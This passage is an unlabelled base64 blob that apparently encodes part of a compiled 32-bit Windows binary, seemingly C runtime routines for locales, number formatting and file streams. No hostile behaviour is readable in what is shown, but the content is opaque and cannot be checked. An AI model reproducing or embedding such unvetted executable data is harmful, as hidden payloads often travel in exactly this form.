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geH//w8AC8F1FIuFgPj//2hg6gsQg2AEAOnTEgAAjUUIUOh/uv//WYXAdA2LjYD4///HQQQBAAAAg+gBD4SqEgAAg+gBD4SaEgAAg+gBD4SKEgAAg+gBD4R6EgAAi0UQgeb///9/g6V8+P//AECJfQiJdQzdRQjdlZj4//+LvZz4//+Lz4mFiPj//8HpFIvBJf8HAACDyAB1BrIBM/brCTLSvgAAEAAzwIudmPj//4Hn//8PAAPYE/4zwITSD5XAgeH/BwAAQI2xzPv//wPwibW0+P//6FxAAABRUd0cJOhiQQAAWVnoK2IAAImFlPj//z3///9/dAc9AAAAgHUIM8CJhZT4//+JnTD+//8z24X/ib00/v//D5XDQ4mdLP7//4X2D4jtAwAAg6WQ+v//AGoCXseFlPr//wAAEACJtYz6//873g+FAAIAADPJi4QNkPr//zuEDTD+//8PheoBAACDwQSD+Qh15IuFtPj//zPSg8ACi/CD4B9qIFkryImFpPj//zPAwe4FQIm1sPj//4mNkPj//+ibXwAAg6Wc+P//AEgPvc+Jhaj4///30ImFjPj//3QDQesCM8lqIFgrwY1WAjmFpPj//4mVrPj//w+XwIP6c4iFu/j//w+XwYP6c3UIhMB0BLAB6wIywITJD4XvAAAAhMAPhecAAABqclk70XIIi9GJjaz4//+LyomNoPj//4P6/w+ElgAAAIvyjYUw/v//i5Ww+P//K/KNBLCJhbT4//87ynJtO/NzBIs46wIz/41G/zvDcwuLhbT4//+LQPzrAjPAI4WM+P//I72o+P//i42Q+P//0+iLjaT4///T54uNoPj//wvHiYSNMP7//0mLhbT4//9Og+gEiY2g+P//iYW0+P//g/n/dAiLnSz+///rj4uVrPj//4u1sPj//4X2dAyLzo29MP7//zPA86uAvbv4//8Au8wBAAB0C41CAYmFLP7//+sziZUs/v//6yszwLvMAQAAUImFjPr//4mFLP7//42FkPr//1CNhTD+//9TUOjUkv//g8QQg6WU+v//ADPJagRYQYmFkPr//4mNjPr//4mNXPz//1CNhZD6//9QjYVg/P//U1DonZL//4PEEOlcBAAAi4W0+P//M9JAi/iD4B9qIFkryImFsPj//zPAwe8FQIm9tPj//4mNkPj//+i7XQAAi4ydLP7//0iDpZz4//8AD73JiYWo+P//99CJhYz4//90A0HrAjPJaiBYK8GNFDs5hbD4//+JlaD4//8Pl8CD+nOIhbv4//8Pl8GD+nN1CITAdASwAesCMsCEyQ+F7AAAAITAD4XkAAAAanJZO9FyCIvRiY2g+P//i8KJhaz4//+D+v8PhJMAAACL8o2NMP7//4uVtPj//yvyjQyxiY2k+P//O8JyZzvzcwSLOesCM/+NRv87w3MFi0H86wIzwCO9qPj//yOFjPj//4uNsPj//9Pni42Q+P//0+iLjaT4//8L+IuFrPj//4PpBImNpPj//4m8hTD+//9ITomFrPj//4P4/3QIi50s/v//65WLlaD4//+LvbT4//9qAl6F/3QMi88zwI29MP7///OrgL27+P//ALvMAQAAdAuNQgGJhSz+///rM4mVLP7//+srM8C7zAEAAFCJhYz6//+JhSz+//+NhZD6//9QjYUw/v//U1Do8JD//4PEEIOllPr//wAzwECJtZD6//+JhYz6//+JhVz8//9qBOkZ/v//gf4C/P//D4QZAQAAg6WQ+v//AGoCWceFlPr//wAAEACJjYz6//872Q+F9wAAADPSi4QVkPr//zuEFTD+//8PheEAAACDwgSD+gh15IOlnPj//wAPvcd0BY1QAesCM9JqIFgrwovxO8GNhTj+//+Jhaz4//+L+A+Shbv4//8783MKixeJlbD4///rB4OlsPj//wCNRv87w3MFi1f86wIz0ouFsPj//4PvBMHgAsHqHjPQi4Ws+P//TokQg+gEiYWs+P//g/7/dAiLnSz+///rrTPAOIW7+P//D5XAA8ErjbT4//+L+YmFLP7//8HvBY2FkPr//4v3iY2o+P//weYCVmoAUOhYwP7/i42o+P//M8BAg+Ef0+CJhDWQ+v//jUcB6UABAACLhJ0s/v//g6Wc+P//AA+9wHQFjUgB6wIzyWogWCvBg/gBD5LAg/tziIW7+P//D5fBg/tzdQiEwHQEsAHrAjLAhMkPhZsAAACEwA+FkwAAAGpyWTvZcwKLy4P5/3Rpjb0w/v//i/GNPI+Jvaz4//8783MKixeJlbD4///rB4OlsPj//wCNRv87w3MFi1f86wIz0ouFsPj//4PvBAPAweofM9CLhaz4//9OiRCD6ASJhaz4//+D/v90CIudLP7//+uui7W0+P//gL27+P//AHQLjUEBiYUs/v//6zOJjSz+///rK4OljPr//wCNhZD6//+DpSz+//8AagBQjYUw/v//aMwBAABQ6JqO//+DxBAz/42FkPr//0cr/ovfwesFi/PB5gJWagBQ6A+//v8zwIPnH0CLz9PgiYQ1kPr//41DAYmFjPr//7vMAQAAiYVc/P//weACUI2FkPr//1CNhWD8//9TUOg8jv//g8Qci4WU+P//M9JqClmJjYz4//+FwA+IYwQAAPfxiYWQ+P//i8qJjZz4//+FwA+EcQMAAIP4JnYDaiZYD7YMhfbQCxAPtjSF99ALEIv5iYWk+P//wecCV40EMYmFjPr//42FkPr//2oAUOhjvv7/i8bB4AJQi4Wk+P//D7cEhfTQCxCNBIXwxwsQUI2FkPr//wPHUOg5xP7/i42M+v//g8QYiY2g+P//g/kBd3qLvZD6//+F/3UTM8CJhbz4//+JhVz8///pnwIAAIP/AQ+ErgIAAIO9XPz//wAPhKECAACLhVz8//8zyYmFqPj//zP2i8f3pLVg/P//A8GJhLVg/P//g9IARovKO7Wo+P//deDprAAAAImMhWD8////hVz8///pWgIAAIO9XPz//wEPh74AAACLvWD8//+LwcHgAlCNhZD6//+JjVz8//9QjYVg/P//U1Do4oz//4PEEIX/dRozwImFjPr//4mFXPz//1CNhZD6///p9QEAAIP/AQ+E/QEAAIO9XPz//wAPhPABAACLhVz8//8zyYmFqPj//zP2i8f3pLVg/P//A8GJhLVg/P//g9IARovKO7Wo+P//deCFyQ+EuAEAAIuFXPz//4P4cw+CPf///zPAiYWM+v//iYVc/P//UI2FkPr//+nsAQAAO41c/P//jb2Q+v//D5LAhMAPhYMAAACNvWD8//+NlZD6//+JlbD4//+EwHUGi41c/P//iY2s+P//hMB0DIuFXPz//4mFoPj//zPSM/aJlbz4//+FyQ+EEQEAAI2FwPj//yv4ib18+P//jQS3i4QFwPj//4mFqPj//4XAdSU78g+F3gAAACGEtcD4//+NVgGJlbz4///pyQAAAI2VYPz//+uBM8Az/4vOiYW0+P//OYWg+P//D4SUAAAAg/lzdFc7ynUXg6SNwPj//wBAA8aJhbz4//+LhbT4//+LlbD4//+LBIL3paj4//8Dx4PSAAGEjcD4//+L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